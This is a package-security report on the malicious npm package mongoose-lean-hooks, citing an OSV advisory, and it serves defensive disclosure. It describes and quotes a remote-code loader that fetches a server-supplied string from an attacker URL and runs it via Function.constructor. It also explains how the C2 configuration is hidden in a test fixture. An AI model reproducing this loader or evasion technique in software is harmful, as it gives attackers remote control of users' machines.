mongoose-lean-hooks
This report shows the evidence for mongoose-lean-hooks@0.5.7. 6 of 6 known versions are blocked or flagged. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-6797 confirms this npm version as malicious.
Advisory
MAL-2026-6797
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in mongoose-lean-hooks (npm)
Details
On `require('mongoose-lean-hooks')`, the package's main entry (index.js) runs a top-level async IIFE that issues an HTTP GET to http://mongos-hooks-api.vercel.app/defy/v3 with a bearer-style header. When the response is a 404 carrying a `token` string field, that server-controlled string is passed to `Function.constructor` with `require` bound in and immediately invoked (`const handler = new (Function.constructor)("require", res.token); handler(require);`), yielding arbitrary code execution in the consumer's Node process with full `require` access. The endpoint, path, and header token are hidden in test/config_test.js under a `module.exports` shaped like a benign test fixture and imported by the production entry — a deliberate evasion to make reviewers skim past the C2 configuration as test scaffolding. The package name and description mimic the legitimate mongoose plugin ecosystem (advertising createdAt/updatedAt timestamp functionality) to encourage installs. The plaintext HTTP destination and dynamic-payload design mean the attacker can change the delivered code at any time without republishing.
## Source: ghsa-malware (51f21ca8cb459221a26134e631f974e5a26cb292386a957c75da31b538119c61) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Source & flagged code
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Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to mongoose-lean-hooks@0.5.7.
The same advisory and Firewall decision cover 4 recorded versions
0.5.2, 0.5.3, 0.5.6, 0.5.7
The versions list below shows the verdict for each recorded version.
- Avoid installing mongoose-lean-hooks@0.5.7. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
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